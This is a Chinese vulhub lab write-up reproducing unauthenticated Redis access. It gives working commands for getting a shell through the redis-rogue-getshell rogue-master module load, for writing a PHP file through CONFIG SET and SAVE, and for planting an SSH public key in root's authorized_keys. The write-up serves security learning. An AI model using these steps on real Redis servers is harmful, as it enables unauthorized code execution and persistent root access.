【vulhub】redis 4-unacc (redis未授权访问)

news/2025/2/26 0:21:42/文章来源:https://www.cnblogs.com/MrSoap/p/18737580

渗透环境

攻击机:   IP: 192.168.66.130(Kali)

漏洞收录于:vulhub/redis/4-unacc

涉及知识点:redis未授权访问

影响版本:redis 版本 < 6.x

漏洞的产生条件有以下两点:

  1. Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  2. 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

 复现漏洞 

一、 启动漏洞容器

docker-compose up -d

img

可以看到redis运行在默认端口6379上

二、未授权连接

redis-cli -h 192.168.66.130

redis-cli -h [IP] -p [port] -a [password]

当使用默认端口6379时可不使用参数-p

测试连接,ping一下,成功连接

img

三、get shell

一般来说有两种方式get shell:

  1. 使用现成工具redis-rogue-getshell,项目地址:https://github.com/vulhub/redis-rogue-getshell.git
  2. 通过向靶机写入SSH公钥实现SSH登录

但由于vulhub环境搭建的问题,在写入SSH公钥时会遇到无法将工作目录设置为/root/.ssh的问题,因此这里只能用第一种姿势get shell。不过第二种方法下面也会提到。

姿势一:redis-rogue-getshell

漏洞背景
Redis 4.x及5.0.5之前的版本支持主从复制模式,攻击者可伪造一个恶意主节点(Master),诱导目标Redis作为从节点(Slave)连接,通过传输恶意数据流注入攻击载荷。

核心步骤

  • 主从关系建立
    攻击机运行脚本redis-master.py,监听指定端口(如8989),伪装成主节点。目标Redis被设置为从节点后,会自动同步攻击机发送的数据。
  • 加载恶意模块
    脚本通过Redis的MODULE LOAD命令,将预编译的恶意模块exp.so上传至目标服务器。该模块包含执行系统命令的功能。
  • 命令执行
    利用模块中的system.exec方法执行-c参数指定的命令(如ls),从而控制目标服务器。
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK
make		# 编译的时候可能会报错,不用管
cd ..		# 回到redis-rogue-getshell
./redis-master.py -r 192.168.66.130 -p 6379 -L 192.168.66.130 -P 8989 -f RedisModulesSDK/exp/exp.so -c "ls" 

[!NOTE]

-r 192.168.66.130 # 目标Redis服务器的IP地址
-p 6379 # 目标Redis服务的端口(默认6379)
-L 192.168.66.130 # 攻击机监听的IP地址(伪装为主节点)
-P 8989 # 攻击机监听的端口(用于主从同步)
-f RedisModulesSDK/exp/exp.so # 恶意动态链接库(.so文件路径)
-c "ls" # 要在目标服务器上执行的命令

可以看到whoami已经执行成功。

姿势二:写入SSH

redis-cli常用命令

命令 作用
keys 列出当前数据库中所有的键
info 查看redis信息
config set dir [path] 设置工作目录
config set dbfilename [filename] 设置文件名
set [key] [value] 设置键值对
config get dir 检查工作目录是否设置成功
config get dbfilename 检查备份文件名是否设置成功
save 进行一次备份操作
flushall 删除所有数据(慎用)
del key 删除键为key的数据

由于没有开启其他web服务,我们的webshell也无法解析。但是可以先尝试能否写入文件。

设置路径、文件

config set dir /tmp
config set dbfilename test.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

[!NOTE]

写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

进入容器查看是否已经成功写入

img

可以看到已经成功写入。接下来我们要做的是在攻击机上生成ssh的登录公钥,将公钥写入靶机/root/.ssh/authorized_keys文件中,攻击机即可ssh连接靶机。

ssh-keygen -t rsa		# 生成公钥,执行后可以设置生成的路径、密码等,可以直接回车跳过

公钥默认生成路径为/root/.ssh/id_rsa.pub,对应的私钥为/root/.ssh/id_rsa

cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt	# 将生成的公钥写入1.txt中。前后的换行是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
cat 1.txt | redis-cli -h 192.168.66.130 -x set crack	# 将1.txt的内容作为值,crack作为键,设置键值对
config set dir /root/.ssh								# 就是在这一步,靶机提示没有权限,应该是vulhub环境搭建的问题
config set dbfilename authorized_keys
save

至此,ssh公钥已经写入靶机,只要攻击机使用私钥id_rsa进行ssh连接即可

ssh -i /root/.ssh/id_rsa root@192.168.66.130

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/889851.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

再论支付账务

支付账务是金融领域中复杂且关键的一环,涉及资金流动、风险控制和业务效率等多个方面。本文从支付结算的专业视角出发,深入剖析了支付账务的核心逻辑,包括会计科目设置、对账结算流程以及账务核算的关键要点。学习账务的时候你是否经常有这些疑问“待结算和待清算是什么?为…

分享[清华大学DeepSeek教程全家桶]下载地址

干货分享,最新整理的清华大学DeepSeek教程全家桶,内容如下:内容展示下载地址🎁🎁 文末福利,后台回复[603]获取下载地址 📢📢 喜欢这篇文章?欢迎大家✨关注 ❤️点赞 ➡️转发 分享给那些需要的朋友!如果认为此文对您有帮助,别忘了支持一下哦!声明:本博客原创文…

求二叉搜索树的第 K 小的值

题目:一个二叉搜索树,求其中的第K小的节点值。如下图,第3小的节点是4什么是二叉树:是一棵树   每个节点最多能有 2 个字节点。数据结构如下:{value, left,right}interface ITreeNode {value: number // 或其它类型left?: ITreeNoderight?:ITreeNode }上图中的二叉树结…

百万架构师第四十四课:Nginx:Nginx 的扩展-OpenRestry|JavaGuide

百万架构师系列文章阅读体验感更佳 原文链接:https://javaguide.net 公众号:不止极客 Nginx 的扩展-OpenRestry 课程目标Nginx 进程模型简介Nginx 的高可用方案OpenResty 安装及使用什么是 API 网关?OpenResty 实现灰度发布功能Nginx 进程模型简介 多进程TomcatBIO NIO AION…

不用 ORM 会发生什么?

要弄清一个事物带来了什么,有种办法就是在场景中去掉它,当我们不使用 ORM 开发项目,需要补齐哪些能力,以表格形式列举要补齐的功能点和意义。我们仅能通过 SQL语句和数据库交互,在采用 ORM 项目开发的项目有时出于性能、数据库表达限制的原因而直接编写 SQL 语句,在脱离 …

事务中无法切换数据源?DataSourceSwitchInvoker:轻松实现多数据源切换执行工具类

背景: 在有标注为@Transactional的类或公共方法中(传播特性,如:NOT_SUPPORTED、SUPPORTS、REQUIRED【默认值】、REQUIRES_NEW)执行数据源切换可能不成功(比如:主从数据源切换,多数据源切换等,均会发现切换不成功,或“偶尔又切换成功”),导致本应该需要查主库却查了…

Java基础05(常用类)

匿名内部类 Object类 包装类 String类 BigDecimal类 Date类(特定时间)Calendar类(日历)SimpleDateFormat类(格式化时间)System类(系统类)Java基础05(常用类) 内部类 成员内部类在类的内部定义,与实例变量、实例方法同级别的类外部类的一个实例部分,创建内部类对象…

mysql表字段varchar(10)和varchar(255)测试文件占用

前言全局说明一、说明 1.1 环境: Windows 11 家庭版 23H2 22631.3737 MySQL: 服务器版本: 5.6.34 - MySQL Community Server (GPL) Navicat for MySQL: 10.1.71.2 测试样本 两个字段: id字段是 1~10位不等长度的随机数; num字段是 11~25位不等的随机数字;为了更好模拟实际使…

FreeRTOS高效应用实战

FreeRTOS高效应用实战 基于STM32CubeIDE生成对芯片移植好的FreeRTOS工程,使用HAL库编写FreeRTOS应用程序,实现FreeRTOS高效应用实战引入函数句柄的概念函数句柄(Function Handle)是编程中用于间接引用和操作函数的一种机制,其本质是将函数作为数据来传递和存储。以下是关于…

解决ZYNQ-7020开发板使用vitis编译uboot报错和无法正常调试的问题

整个学习过程是参考正点原子启明星开发板的2020.2版本嵌入式Linux开发指南,在学习uboot移植的时候遇到了问题。 新建工程和配置环境啥的和教程里都一样,就不罗嗦了,这里重点讲和教程不一样的地方(或者说教程里有问题的地方)。 新建工程后编译时遇到的报错 在按照教程新建ub…

markDown学习日记

标题 标题是通过#和一个空格来创建,标题的等级是通过#的个数来鉴别。 字体样式 进步进步进步 加粗效果由2个*前后包裹来实现 进步进步进步 斜体需要一个*来实现 (两者都实现需要三个*) 进步进步进步 删除需要两边都用波浪号 ~ 实现 引用明德新民 止于至善用>实…